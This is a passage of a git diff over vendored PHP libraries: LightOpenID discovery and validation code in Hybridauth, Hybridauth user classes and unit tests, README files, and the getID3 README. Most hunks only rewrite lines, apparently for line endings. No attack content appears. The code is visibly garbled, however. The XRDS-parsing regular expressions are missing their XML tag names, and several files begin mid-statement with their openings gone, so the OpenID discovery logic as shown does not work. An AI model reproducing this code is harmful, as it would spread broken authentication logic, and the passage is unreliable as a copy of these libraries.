maximum of 5 times, to avoid endless redirections. + for ($i = 0; $i < 5; $i ++) { + if ($yadis) { + $headers = $this->request($url, 'HEAD', array(), true); + + $next = false; + if (isset($headers['x-xrds-location'])) { + $url = $this->build_url(parse_url($url), parse_url(trim($headers['x-xrds-location']))); + $next = true; + } + + if (isset($headers['content-type']) && $this->is_allowed_type($headers['content-type'])) { + # Found an XRDS document, now let's find the server, and optionally delegate. + $content = $this->request($url, 'GET'); + + preg_match_all('#(.*?)#s', $content, $m); + foreach ($m[1] as $content) { + $content = ' ' . $content; # The space is added, so that strpos doesn't return 0. + + # OpenID 2 + $ns = preg_quote('http://specs.openid.net/auth/2.0/', '#'); + if (preg_match('#\s*'.$ns.'(server|signon)\s*#s', $content, $type)) { + if ($type[1] == 'server') { + $this->identifier_select = true; + } + + preg_match('#(.*)#', $content, $server); + preg_match('#<(Local|Canonical)ID>(.*)#', $content, $delegate); + if (empty($server)) { + return false; + } + # Does the server advertise support for either AX or SREG? + $this->ax = (bool) strpos($content, 'http://openid.net/srv/ax/1.0'); + $this->sreg = strpos($content, 'http://openid.net/sreg/1.0') + || strpos($content, 'http://openid.net/extensions/sreg/1.1'); + + $server = $server[1]; + if (isset($delegate[2])) { + $this->identity = trim($delegate[2]); + } + $this->version = 2; + + $this->server = $server; + return $server; + } + + # OpenID 1.1 + $ns = preg_quote('http://openid.net/signon/1.1', '#'); + if (preg_match('#\s*'.$ns.'\s*#s', $content)) { + preg_match('#(.*)#', $content, $server); + preg_match('#<.*?Delegate>(.*)#', $content, $delegate); + if (empty($server)) { + return false; + } + # AX can be used only with OpenID 2.0, so checking only SREG + $this->sreg = strpos($content, 'http://openid.net/sreg/1.0') + || strpos($content, 'http://openid.net/extensions/sreg/1.1'); + + $server = $server[1]; + if (isset($delegate[1])) { + $this->identity = $delegate[1]; + } + $this->version = 1; + + $this->server = $server; + return $server; + } + } + + $next = true; + $yadis = false; + $url = $originalUrl; + $content = null; + break; + } + if ($next) { + continue; + } + + # There are no relevant information in headers, so we search the body. + $content = $this->request($url, 'GET', array(), true); + + if (isset($this->headers['x-xrds-location'])) { + $url = $this->build_url(parse_url($url), parse_url(trim($this->headers['x-xrds-location']))); + continue; + } + + $location = $this->htmlTag($content, 'meta', 'http-equiv', 'X-XRDS-Location', 'content'); + if ($location) { + $url = $this->build_url(parse_url($url), parse_url($location)); + continue; + } + } + + if (!$content) { + $content = $this->request($url, 'GET'); + } + + # At this point, the YADIS Discovery has failed, so we'll switch + # to openid2 HTML discovery, then fallback to openid 1.1 discovery. + $server = $this->htmlTag($content, 'link', 'rel', 'openid2.provider', 'href'); + $delegate = $this->htmlTag($content, 'link', 'rel', 'openid2.local_id', 'href'); + $this->version = 2; + + if (!$server) { + # The same with openid 1.1 + $server = $this->htmlTag($content, 'link', 'rel', 'openid.server', 'href'); + $delegate = $this->htmlTag($content, 'link', 'rel', 'openid.delegate', 'href'); + $this->version = 1; + } + + if ($server) { + # We found an OpenID2 OP Endpoint + if ($delegate) { + # We have also found an OP-Local ID. + $this->identity = $delegate; + } + $this->server = $server; + return $server; + } + + throw new ErrorException("No OpenID Server found at $url", 404); + } + throw new ErrorException('Endless redirection!', 500); + } + + /** + * @param $content_type + * + * @return bool + */ + protected function is_allowed_type($content_type) + { + # Apparently, some providers return XRDS documents as text/html. + # While it is against the spec, allowing this here shouldn't break + # compatibility with anything. + $allowed_types = array('application/xrds+xml', 'text/xml'); + + # Only allow text/html content type for the Yahoo logins, since + # it might cause an endless redirection for the other providers. + if ($this->get_provider_name($this->claimed_id) == 'yahoo') { + $allowed_types[] = 'text/html'; + } + + foreach ($allowed_types as $type) { + if (strpos($content_type, $type) !== false) { + return true; + } + } + + return false; + } + + /** + * @param $provider_url + * + * @return string + */ + protected function get_provider_name($provider_url) + { + $result = ''; + + if (!empty($provider_url)) { + $tokens = array_reverse( + explode('.', parse_url($provider_url, PHP_URL_HOST)) + ); + $result = strtolower( + (count($tokens) > 1 && strlen($tokens[1]) > 3) + ? $tokens[1] + : (count($tokens) > 2 ? $tokens[2] : '') + ); + } + + return $result; + } + + /** + * @return array + */ + protected function sregParams() + { + $params = array(); + # We always use SREG 1.1, even if the server is advertising only support for 1.0. + # That's because it's fully backwards compatible with 1.0, and some providers + # advertise 1.0 even if they accept only 1.1. One such provider is myopenid.com + $params['openid.ns.sreg'] = 'http://openid.net/extensions/sreg/1.1'; + if ($this->required) { + $params['openid.sreg.required'] = array(); + foreach ($this->required as $required) { + if (!isset(self::$ax_to_sreg[$required])) { + continue; + } + $params['openid.sreg.required'][] = self::$ax_to_sreg[$required]; + } + $params['openid.sreg.required'] = implode(',', $params['openid.sreg.required']); + } + + if ($this->optional) { + $params['openid.sreg.optional'] = array(); + foreach ($this->optional as $optional) { + if (!isset(self::$ax_to_sreg[$optional])) { + continue; + } + $params['openid.sreg.optional'][] = self::$ax_to_sreg[$optional]; + } + $params['openid.sreg.optional'] = implode(',', $params['openid.sreg.optional']); + } + return $params; + } + + /** + * @return array + */ + protected function axParams() + { + $params = array(); + if ($this->required || $this->optional) { + $params['openid.ns.ax'] = 'http://openid.net/srv/ax/1.0'; + $params['openid.ax.mode'] = 'fetch_request'; + $this->aliases = array(); + $counts = array(); + $required = array(); + $optional = array(); + foreach (array('required','optional') as $type) { + foreach ($this->$type as $alias => $field) { + if (is_int($alias)) { + $alias = strtr($field, '/', '_'); + } + $this->aliases[$alias] = 'http://axschema.org/' . $field; + if (empty($counts[$alias])) { + $counts[$alias] = 0; + } + $counts[$alias] += 1; + ${$type}[] = $alias; + } + } + foreach ($this->aliases as $alias => $ns) { + $params['openid.ax.type.' . $alias] = $ns; + } + foreach ($counts as $alias => $count) { + if ($count == 1) { + continue; + } + $params['openid.ax.count.' . $alias] = $count; + } + + # Don't send empty ax.required and ax.if_available. + # Google and possibly other providers refuse to support ax when one of these is empty. + if ($required) { + $params['openid.ax.required'] = implode(',', $required); + } + if ($optional) { + $params['openid.ax.if_available'] = implode(',', $optional); + } + } + return $params; + } + + /** + * @param $immediate + * + * @return string + */ + protected function authUrl_v1($immediate) + { + $returnUrl = $this->returnUrl; + # If we have an openid.delegate that is different from our claimed id, + # we need to somehow preserve the claimed id between requests. + # The simplest way is to just send it along with the return_to url. + if ($this->identity != $this->claimed_id) { + $returnUrl .= (strpos($returnUrl, '?') ? '&' : '?') . 'openid.claimed_id=' . $this->claimed_id; + } + + $params = array( + 'openid.return_to' => $returnUrl, + 'openid.mode' => $immediate ? 'checkid_immediate' : 'checkid_setup', + 'openid.identity' => $this->identity, + 'openid.trust_root' => $this->trustRoot, + ) + $this->sregParams(); + + return $this->build_url(parse_url($this->server), array('query' => http_build_query($params, '', '&'))); + } + + /** + * @param $immediate + * + * @return string + */ + protected function authUrl_v2($immediate) + { + $params = array( + 'openid.ns' => 'http://specs.openid.net/auth/2.0', + 'openid.mode' => $immediate ? 'checkid_immediate' : 'checkid_setup', + 'openid.return_to' => $this->returnUrl, + 'openid.realm' => $this->trustRoot, + ); + + if ($this->ax) { + $params += $this->axParams(); + } + + if ($this->sreg) { + $params += $this->sregParams(); + } + + if (!$this->ax && !$this->sreg) { + # If OP doesn't advertise either SREG, nor AX, let's send them both + # in worst case we don't get anything in return. + $params += $this->axParams() + $this->sregParams(); + } + + if (!empty($this->oauth) && is_array($this->oauth)) { + $params['openid.ns.oauth'] = 'http://specs.openid.net/extensions/oauth/1.0'; + $params['openid.oauth.consumer'] = str_replace(array('http://', 'https://'), '', $this->trustRoot); + $params['openid.oauth.scope'] = implode(' ', $this->oauth); + } + + if ($this->identifier_select) { + $params['openid.identity'] = $params['openid.claimed_id'] + = 'http://specs.openid.net/auth/2.0/identifier_select'; + } else { + $params['openid.identity'] = $this->identity; + $params['openid.claimed_id'] = $this->claimed_id; + } + + return $this->build_url(parse_url($this->server), array('query' => http_build_query($params, '', '&'))); + } + + /** + * Returns authentication url. Usually, you want to redirect your user to it. + * @param bool $immediate + * @return String The authentication url. + * @throws ErrorException +*/ + public function authUrl($immediate = false) + { + if ($this->setup_url && !$immediate) { + return $this->setup_url; + } + if (!$this->server) { + $this->discover($this->identity); + } + + if ($this->version == 2) { + return $this->authUrl_v2($immediate); + } + return $this->authUrl_v1($immediate); + } + + /** + * Performs OpenID verification with the OP. + * @return Bool Whether the verification was successful. + * @throws ErrorException + */ + public function validate() + { + # If the request was using immediate mode, a failure may be reported + # by presenting user_setup_url (for 1.1) or reporting + # mode 'setup_needed' (for 2.0). Also catching all modes other than + # id_res, in order to avoid throwing errors. + if (isset($this->data['openid_user_setup_url'])) { + $this->setup_url = $this->data['openid_user_setup_url']; + return false; + } + if ($this->mode != 'id_res') { + return false; + } + + $this->claimed_id = isset($this->data['openid_claimed_id'])?$this->data['openid_claimed_id']:$this->data['openid_identity']; + $params = array( + 'openid.assoc_handle' => $this->data['openid_assoc_handle'], + 'openid.signed' => $this->data['openid_signed'], + 'openid.sig' => $this->data['openid_sig'], + ); + + if (isset($this->data['openid_ns'])) { + # We're dealing with an OpenID 2.0 server, so let's set an ns + # Even though we should know location of the endpoint, + # we still need to verify it by discovery, so $server is not set here + $params['openid.ns'] = 'http://specs.openid.net/auth/2.0'; + } elseif (isset($this->data['openid_claimed_id']) + && $this->data['openid_claimed_id'] != $this->data['openid_identity'] + ) { + # If it's an OpenID 1 provider, and we've got claimed_id, + # we have to append it to the returnUrl, like authUrl_v1 does. + $this->returnUrl .= (strpos($this->returnUrl, '?') ? '&' : '?') + . 'openid.claimed_id=' . $this->claimed_id; + } + + if ($this->data['openid_return_to'] != $this->returnUrl) { + # The return_to url must match the url of current request. + # I'm assuming that no one will set the returnUrl to something that doesn't make sense. + return false; + } + + $server = $this->discover($this->claimed_id); + + foreach (explode(',', $this->data['openid_signed']) as $item) { + $value = $this->data['openid_' . str_replace('.', '_', $item)]; + $params['openid.' . $item] = $value; + } + + $params['openid.mode'] = 'check_authentication'; + + $response = $this->request($server, 'POST', $params); + + return preg_match('/is_valid\s*:\s*true/i', $response); + } + + /** + * @return array + */ + protected function getAxAttributes() + { + $result = array(); + + if ($alias = $this->getNamespaceAlias('http://openid.net/srv/ax/1.0', 'ax')) { + $prefix = 'openid_' . $alias; + $length = strlen('http://axschema.org/'); + + foreach (explode(',', $this->data['openid_signed']) as $key) { + $keyMatch = $alias . '.type.'; + + if (strncmp($key, $keyMatch, strlen($keyMatch)) !== 0) { + continue; + } + + $key = substr($key, strlen($keyMatch)); + $idv = $prefix . '_value_' . $key; + $idc = $prefix . '_count_' . $key; + $key = substr($this->getItem($prefix . '_type_' . $key), $length); + + if (!empty($key)) { + if (($count = intval($this->getItem($idc))) > 0) { + $value = array(); + + for ($i = 1; $i <= $count; $i++) { + $value[] = $this->getItem($idv . '_' . $i); + } + + $value = ($count == 1) ? reset($value) : $value; + } else { + $value = $this->getItem($idv); + } + + if (!is_null($value)) { + $result[$key] = $value; + } + } + } + } else { + // No alias for the AX schema has been found, + // so there is no AX data in the OP's response. + } + + return $result; + } + + /** + * @return array + */ + protected function getSregAttributes() + { + $attributes = array(); + $sreg_to_ax = array_flip(self::$ax_to_sreg); + if ($alias = $this->getNamespaceAlias('http://openid.net/extensions/sreg/1.1', 'sreg')) { + foreach (explode(',', $this->data['openid_signed']) as $key) { + $keyMatch = $alias . '.'; + if (strncmp($key, $keyMatch, strlen($keyMatch)) !== 0) { + continue; + } + $key = substr($key, strlen($keyMatch)); + if (!isset($sreg_to_ax[$key])) { + # The field name isn't part of the SREG spec, so we ignore it. + continue; + } + $attributes[$sreg_to_ax[$key]] = $this->data['openid_' . $alias . '_' . $key]; + } + } + return $attributes; + } + + /** + * Gets AX/SREG attributes provided by OP. should be used only after successful validation. + * Note that it does not guarantee that any of the required/optional parameters will be present, + * or that there will be no other attributes besides those specified. + * In other words. OP may provide whatever information it wants to. + * * SREG names will be mapped to AX names. + * * + * @return array Array of attributes with keys being the AX schema names, e.g. 'contact/email' @see http://www.axschema.org/types/ +*/ + public function getAttributes() + { + if (isset($this->data['openid_ns']) + && $this->data['openid_ns'] == 'http://specs.openid.net/auth/2.0' + ) { # OpenID 2.0 + # We search for both AX and SREG attributes, with AX taking precedence. + return $this->getAxAttributes() + $this->getSregAttributes(); + } + return $this->getSregAttributes(); + } + + /** + * Gets an OAuth request token if the OpenID+OAuth hybrid protocol has been used. + * + * In order to use the OpenID+OAuth hybrid protocol, you need to add at least one + * scope to the $openid->oauth array before you get the call to getAuthUrl(), e.g.: + * $openid->oauth[] = 'https://www.googleapis.com/auth/plus.me'; + * + * Furthermore the registered consumer name must fit the OpenID realm. + * To register an OpenID consumer at Google use: https://www.google.com/accounts/ManageDomains + * + * @return string|bool OAuth request token on success, FALSE if no token was provided. + */ + public function getOAuthRequestToken() + { + $alias = $this->getNamespaceAlias('http://specs.openid.net/extensions/oauth/1.0'); + + return !empty($alias) ? $this->data['openid_' . $alias . '_request_token'] : false; + } + + /** + * Gets the alias for the specified namespace, if it's present. + * + * @param string $namespace The namespace for which an alias is needed. + * @param string $hint Common alias of this namespace, used for optimization. + * @return string|null The namespace alias if found, otherwise - NULL. + */ + private function getNamespaceAlias($namespace, $hint = null) + { + $result = null; + + if (empty($hint) || $this->getItem('openid_ns_' . $hint) != $namespace) { + // The common alias is either undefined or points to + // some other extension - search for another alias.. + $prefix = 'openid_ns_'; + $length = strlen($prefix); + + foreach ($this->data as $key => $val) { + if (strncmp($key, $prefix, $length) === 0 && $val === $namespace) { + $result = trim(substr($key, $length)); + break; + } + } + } else { + $result = $hint; + } + + return $result; + } + + /** + * Gets an item from the $data array by the specified id. + * + * @param string $id The id of the desired item. + * @return string|null The item if found, otherwise - NULL. + */ + private function getItem($id) + { + return isset($this->data[$id]) ? $this->data[$id] : null; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Thirdparty/OpenID/README.md b/vendor/hybridauth/hybridauth/src/Thirdparty/OpenID/README.md index 668f765678..2ff54da9ba 100644 --- a/vendor/hybridauth/hybridauth/src/Thirdparty/OpenID/README.md +++ b/vendor/hybridauth/hybridauth/src/Thirdparty/OpenID/README.md @@ -1,7 +1,7 @@ -This file is part of the LightOpenID PHP Library - -LightOpenID is an open source software available under the MIT License. - -https://github.com/iignatov/LightOpenID - -http://opensource.org/licenses/mit-license.php +This file is part of the LightOpenID PHP Library + +LightOpenID is an open source software available under the MIT License. + +https://github.com/iignatov/LightOpenID + +http://opensource.org/licenses/mit-license.php diff --git a/vendor/hybridauth/hybridauth/src/Thirdparty/readme.md b/vendor/hybridauth/hybridauth/src/Thirdparty/readme.md index 3a68072be3..9036e0d360 100644 --- a/vendor/hybridauth/hybridauth/src/Thirdparty/readme.md +++ b/vendor/hybridauth/hybridauth/src/Thirdparty/readme.md @@ -1,14 +1,14 @@ -##### Third party libraries - -Here we include a number of third party libraries. Those libraries are used by the various providers supported by Hybridauth. - -Library | Description --------- | ------------- -[LightOpenID](https://gitorious.org/lightopenid) | Contain LightOpenID. Solid OpenID library licensed under the MIT License. -[OAuth Library](https://code.google.com/p/oauth/) | Contain OAuth Library licensed under the MIT License. - -Notes: - - We no longer use the old OAuth clients. Please don't add new libs to this folder, unless strictly necessary. - Both LightOpenID and OAuth are (to be) partially/indirectly tested within the Hybridauth library. - Both LightOpenID and OAuth libraries are excluded from Codeclimate.com Analysis/GPA. +##### Third party libraries + +Here we include a number of third party libraries. Those libraries are used by the various providers supported by Hybridauth. + +Library | Description +-------- | ------------- +[LightOpenID](https://gitorious.org/lightopenid) | Contain LightOpenID. Solid OpenID library licensed under the MIT License. +[OAuth Library](https://code.google.com/p/oauth/) | Contain OAuth Library licensed under the MIT License. + +Notes: + + We no longer use the old OAuth clients. Please don't add new libs to this folder, unless strictly necessary. + Both LightOpenID and OAuth are (to be) partially/indirectly tested within the Hybridauth library. + Both LightOpenID and OAuth libraries are excluded from Codeclimate.com Analysis/GPA. diff --git a/vendor/hybridauth/hybridauth/src/User/Activity.php b/vendor/hybridauth/hybridauth/src/User/Activity.php index f90a777eed..caf3c10eeb 100644 --- a/vendor/hybridauth/hybridauth/src/User/Activity.php +++ b/vendor/hybridauth/hybridauth/src/User/Activity.php @@ -1,73 +1,73 @@ -user = new \stdClass(); - - // typically, we should have a few information about the user who created the event from social apis - $this->user->identifier = null; - $this->user->displayName = null; - $this->user->profileURL = null; - $this->user->photoURL = null; - } - - /** - * Prevent the providers adapters from adding new fields. - * - * @throws UnexpectedValueException - * @var string $name - * - * @var mixed $value - * - */ - public function __set($name, $value) - { - // phpcs:ignore - throw new UnexpectedValueException(sprintf('Adding new property "%s\' to %s is not allowed.', $name, __CLASS__)); - } -} +user = new \stdClass(); + + // typically, we should have a few information about the user who created the event from social apis + $this->user->identifier = null; + $this->user->displayName = null; + $this->user->profileURL = null; + $this->user->photoURL = null; + } + + /** + * Prevent the providers adapters from adding new fields. + * + * @throws UnexpectedValueException + * @var string $name + * + * @var mixed $value + * + */ + public function __set($name, $value) + { + // phpcs:ignore + throw new UnexpectedValueException(sprintf('Adding new property "%s\' to %s is not allowed.', $name, __CLASS__)); + } +} diff --git a/vendor/hybridauth/hybridauth/src/User/Contact.php b/vendor/hybridauth/hybridauth/src/User/Contact.php index 5eae92def8..6118cae858 100644 --- a/vendor/hybridauth/hybridauth/src/User/Contact.php +++ b/vendor/hybridauth/hybridauth/src/User/Contact.php @@ -1,78 +1,78 @@ - 69, 'slugs' => ['Γεια σας', 'Bonjour', '안녕하세요', 'year' => 2020]]; - } - - public function some_random_object() - { - $object = new \StdClass(); - $object->id = 69; - $object->slugs = ['Γεια σας', 'Bonjour', '안녕하세요', 'year' => 2020]; - - return $object; - } - - public function test_instance_of() - { - $collection = new Collection(); - - $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection); - } - - public function test_identity() - { - $array = $this->some_random_array(); - - $collection = new Collection($array); - - $result = $collection->toArray(); - - $this->assertEquals($result, $array); - } - - /** - * @covers Collection::exists - */ - public function test_exists() - { - $array = $this->some_random_array(); - - $collection = new Collection($array); - - $this->assertTrue($collection->exists('id')); - - $this->assertFalse($collection->exists('_non_existant_')); - - // - - $object = $this->some_random_object(); - - $collection = new Collection($object); - - $this->assertTrue($collection->exists('id')); - - $this->assertFalse($collection->exists('_non_existant_')); - } - - /** - * @covers Collection::get - */ - public function test_get() - { - $array = $this->some_random_array(); - - $collection = new Collection($array); - - $this->assertEquals($collection->get('id'), $this->some_random_id()); - - $this->assertNull($collection->get('_non_existant_')); - - // - - $object = $this->some_random_object(); - - $collection = new Collection($object); - - $this->assertEquals($collection->get('id'), $this->some_random_id()); - - $this->assertNull($collection->get('_non_existant_')); - } - - /** - * @covers Collection::filter - */ - public function test_filter() - { - $array = $this->some_random_array(); - - $collection = new Collection($array); - - $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('id')); - $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('slugs')); - $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('_non_existant_')); - - $this->assertNull($collection->filter('slugs')->get('_non_existant_')); - - $this->assertEquals($collection->filter('slugs')->get('year'), $this->some_random_year()); - - // - - $object = $this->some_random_object(); - - $collection = new Collection($object); - - $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('id')); - $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('slugs')); - $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('_non_existant_')); - - $this->assertNull($collection->filter('slugs')->get('_non_existant_')); - - $this->assertEquals($collection->filter('slugs')->get('year'), $this->some_random_year()); - } -} + 69, 'slugs' => ['Γεια σας', 'Bonjour', '안녕하세요', 'year' => 2020]]; + } + + public function some_random_object() + { + $object = new \StdClass(); + $object->id = 69; + $object->slugs = ['Γεια σας', 'Bonjour', '안녕하세요', 'year' => 2020]; + + return $object; + } + + public function test_instance_of() + { + $collection = new Collection(); + + $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection); + } + + public function test_identity() + { + $array = $this->some_random_array(); + + $collection = new Collection($array); + + $result = $collection->toArray(); + + $this->assertEquals($result, $array); + } + + /** + * @covers Collection::exists + */ + public function test_exists() + { + $array = $this->some_random_array(); + + $collection = new Collection($array); + + $this->assertTrue($collection->exists('id')); + + $this->assertFalse($collection->exists('_non_existant_')); + + // + + $object = $this->some_random_object(); + + $collection = new Collection($object); + + $this->assertTrue($collection->exists('id')); + + $this->assertFalse($collection->exists('_non_existant_')); + } + + /** + * @covers Collection::get + */ + public function test_get() + { + $array = $this->some_random_array(); + + $collection = new Collection($array); + + $this->assertEquals($collection->get('id'), $this->some_random_id()); + + $this->assertNull($collection->get('_non_existant_')); + + // + + $object = $this->some_random_object(); + + $collection = new Collection($object); + + $this->assertEquals($collection->get('id'), $this->some_random_id()); + + $this->assertNull($collection->get('_non_existant_')); + } + + /** + * @covers Collection::filter + */ + public function test_filter() + { + $array = $this->some_random_array(); + + $collection = new Collection($array); + + $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('id')); + $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('slugs')); + $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('_non_existant_')); + + $this->assertNull($collection->filter('slugs')->get('_non_existant_')); + + $this->assertEquals($collection->filter('slugs')->get('year'), $this->some_random_year()); + + // + + $object = $this->some_random_object(); + + $collection = new Collection($object); + + $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('id')); + $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('slugs')); + $this->assertInstanceOf('\\Hybridauth\\Data\\Collection', $collection->filter('_non_existant_')); + + $this->assertNull($collection->filter('slugs')->get('_non_existant_')); + + $this->assertEquals($collection->filter('slugs')->get('year'), $this->some_random_year()); + } +} diff --git a/vendor/hybridauth/hybridauth/tests/Data/ParserTest.php b/vendor/hybridauth/hybridauth/tests/Data/ParserTest.php index 421d955643..721c974d4b 100644 --- a/vendor/hybridauth/hybridauth/tests/Data/ParserTest.php +++ b/vendor/hybridauth/hybridauth/tests/Data/ParserTest.php @@ -1,77 +1,77 @@ -assertInstanceOf('\\Hybridauth\\Data\\Parser', $parser); - } - - /** - * @covers Parser::parse - * @covers Parser::parseJson - */ - public function test_parser_json() - { - $parser = new Parser(); - - $object = new \StdClass(); - $object->id = 69; - $object->slugs = ['Γεια σας', 'Bonjour', '안녕하세요']; - - $json = json_encode($object); - - // - - $result = $parser->parse($json); - - $this->assertInstanceOf('\\StdClass', $result); - - $this->assertEquals($result, $object); - - // - - $result = $parser->parseJson($json); - - $this->assertInstanceOf('\\StdClass', $result); - - $this->assertEquals($result, $object); - } - - /** - * @covers Parser::parse - * @covers Parser::parseQueryString - */ - public function test_parser_querystring() - { - $parser = new Parser(); - - $object = new \StdClass(); - $object->id = 69; - $object->slug = 'oauth'; - - $string = 'id=69&slug=oauth'; - - // - - $result = $parser->parse($string); - - $this->assertInstanceOf('\\StdClass', $result); - - $this->assertEquals($result, $object); - - // - - $result = $parser->parseQueryString($string); - - $this->assertInstanceOf('\\StdClass', $result); - - $this->assertEquals($result, $object); - } -} +assertInstanceOf('\\Hybridauth\\Data\\Parser', $parser); + } + + /** + * @covers Parser::parse + * @covers Parser::parseJson + */ + public function test_parser_json() + { + $parser = new Parser(); + + $object = new \StdClass(); + $object->id = 69; + $object->slugs = ['Γεια σας', 'Bonjour', '안녕하세요']; + + $json = json_encode($object); + + // + + $result = $parser->parse($json); + + $this->assertInstanceOf('\\StdClass', $result); + + $this->assertEquals($result, $object); + + // + + $result = $parser->parseJson($json); + + $this->assertInstanceOf('\\StdClass', $result); + + $this->assertEquals($result, $object); + } + + /** + * @covers Parser::parse + * @covers Parser::parseQueryString + */ + public function test_parser_querystring() + { + $parser = new Parser(); + + $object = new \StdClass(); + $object->id = 69; + $object->slug = 'oauth'; + + $string = 'id=69&slug=oauth'; + + // + + $result = $parser->parse($string); + + $this->assertInstanceOf('\\StdClass', $result); + + $this->assertEquals($result, $object); + + // + + $result = $parser->parseQueryString($string); + + $this->assertInstanceOf('\\StdClass', $result); + + $this->assertEquals($result, $object); + } +} diff --git a/vendor/hybridauth/hybridauth/tests/HybridauthTest.php b/vendor/hybridauth/hybridauth/tests/HybridauthTest.php index 6d5ea6bce1..fdcffeac37 100644 --- a/vendor/hybridauth/hybridauth/tests/HybridauthTest.php +++ b/vendor/hybridauth/hybridauth/tests/HybridauthTest.php @@ -1,13 +1,13 @@ -assertTrue(true); - } -} +assertTrue(true); + } +} diff --git a/vendor/james-heinrich/getid3/.editorconfig b/vendor/james-heinrich/getid3/.editorconfig deleted file mode 100644 index 2bf0b238de..0000000000 --- a/vendor/james-heinrich/getid3/.editorconfig +++ /dev/null @@ -1,9 +0,0 @@ -; top-most EditorConfig file -root = true - -; Unix-style newlines -[*] -end_of_line = LF - -[*.php] -indent_style = tab diff --git a/vendor/james-heinrich/getid3/README.md b/vendor/james-heinrich/getid3/README.md index eb0166063d..780bed6c0f 100644 --- a/vendor/james-heinrich/getid3/README.md +++ b/vendor/james-heinrich/getid3/README.md @@ -1,609 +1,609 @@ -getID3() by James Heinrich () -=== -**Available at or ** - -getID3() is released under multiple licenses. You may choose from the following licenses, and use getID3 according to the terms of the license most suitable to your project. - -**GNU GPL:** - -* [v3](https://gnu.org/licenses/gpl.html) - -* [v2](https://gnu.org/licenses/old-licenses/gpl-2.0.html) - -* [v1](https://gnu.org/licenses/old-licenses/gpl-1.0.html) - -**GNU LGPL:** - -* [v3](https://gnu.org/licenses/lgpl.html) - -**Mozilla MPL:** - -* [v2](https://www.mozilla.org/MPL/2.0/) - -**getID3 Commercial License:** - -* [gCL](https://www.getid3.org/#gCL) (payment required) - -* * * -Copies of each of the above licenses are included in the `licenses/` -directory of the getID3 distribution. - -If you want to donate, there is a link on for PayPal donations. - - - -Quick Start -=== - -**Q:** How can I check that getID3() works on my server/files? - -**A:** Unzip getID3() to a directory, then access `/demos/demo.browse.php` - - - -Support -=== - -**Q:** I have a question, or I found a bug. What do I do? - -**A:** The preferred method of support requests and/or bug reports is the forum at - - - -Sourceforge Notification -=== - -It's highly recommended that you sign up for notification from -Sourceforge for when new versions are released. Please visit: - -and click the little "monitor package" icon/link. If you're -previously signed up for the mailing list, be aware that it has -been discontinued, only the automated Sourceforge notification -will be used from now on. - - - -What does getID3() do? -=== - -Reads & parses (to varying degrees): - -+ tags: - * APE (v1 and v2) - * ID3v1 (& ID3v1.1) - * ID3v2 (v2.4, v2.3, v2.2) - * Lyrics3 (v1 & v2) - -+ audio-lossy: - * MP3/MP2/MP1 - * MPC / Musepack - * Ogg (Vorbis, OggFLAC, Speex, Opus) - * AAC / MP4 - * AC3 - * DTS - * RealAudio - * Speex - * DSS - * VQF - -+ audio-lossless: - * AIFF - * AU - * Bonk - * CD-audio (*.cda) - * FLAC - * LA (Lossless Audio) - * LiteWave - * LPAC - * MIDI - * Monkey's Audio - * OptimFROG - * RKAU - * Shorten - * Tom's lossless Audio Kompressor (TAK) - * TTA - * VOC - * WAV (RIFF) - * WavPack - -+ audio-video: - * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV) - * AVI (RIFF) - * Flash - * Matroska (MKV) - * MPEG-1 / MPEG-2 - * NSV (Nullsoft Streaming Video) - * Quicktime (including MP4) - * RealVideo - -+ still image: - * BMP - * GIF - * JPEG - * PNG - * TIFF - * SWF (Flash) - * PhotoCD - -+ data: - * ISO-9660 CD-ROM image (directory structure) - * SZIP (limited support) - * ZIP (directory structure) - * TAR - * CUE - - -+ Writes: - * ID3v1 (& ID3v1.1) - * ID3v2 (v2.3 & v2.4) - * VorbisComment on OggVorbis - * VorbisComment on FLAC (not OggFLAC) - * APE v2 - * Lyrics3 (delete only) - - - -Requirements -=== - -* PHP 4.2.0 up to 5.2.x for getID3() 1.7.x (and earlier) -* PHP 5.0.5 (or higher) for getID3() 1.8.x (and up) -* PHP 5.0.5 (or higher) for getID3() 2.0.x (and up) -* at least 4MB memory for PHP. 8MB or more is highly recommended. - 12MB is required with all modules loaded. - - - -Usage -=== - -See /demos/demo.basic.php for a very basic use of getID3() with no -fancy output, just scanning one file. - -See structure.txt for the returned data structure. - -**For an example of a complete directory-browsing, file-scanning implementation of getID3(), please run /demos/demo.browse.php** - -See /demos/demo.mysql.php for a sample recursive scanning code that -scans every file in a given directory, and all sub-directories, stores -the results in a database and allows various analysis / maintenance -operations - -To analyze remote files over HTTP or FTP you need to copy the file -locally first before running getID3(). Your code would look something -like this: - -``` php -analyze($localtempfilename); - // Delete temporary file - unlink($localtempfilename); - } - fclose($fp_remote); -} - -``` - - -**See /demos/demo.write.php for how to write tags.** - -What does the returned data structure look like? -=== - -See structure.txt - -It is recommended that you look at the output of -/demos/demo.browse.php scanning the file(s) you're interested in to -confirm what data is actually returned for any particular filetype in -general, and your files in particular, as the actual data returned -may vary considerably depending on what information is available in -the file itself. - - - -Notes -=== - -getID3() 1.x: ---- -If the format parser encounters a critical problem, it will return -something in `$fileinfo['error']`, describing the encountered error. If -a less critical error or notice is generated it will appear in -`$fileinfo['warning']`. Both keys may contain more than one warning or -error. If something is returned in ['error'] then the file was not -correctly parsed and returned data may or may not be correct and/or -complete. If something is returned in `['warning']` (and not `['error']`) -then the data that is returned is OK - usually getID3() is reporting -errors in the file that have been worked around due to known bugs in -other programs. Some warnings may indicate that the data that is -returned is OK but that some data could not be extracted due to -errors in the file. - -getID3() 2.x: ---- -See above except errors are thrown (so you will only get one error). - -Disclaimer -=== - -getID3() has been tested on many systems, on many types of files, -under many operating systems, and is generally believe to be stable -and safe. That being said, there is still the chance there is an -undiscovered and/or unfixed bug that may potentially corrupt your -file, especially within the writing functions. By using getID3() you -agree that 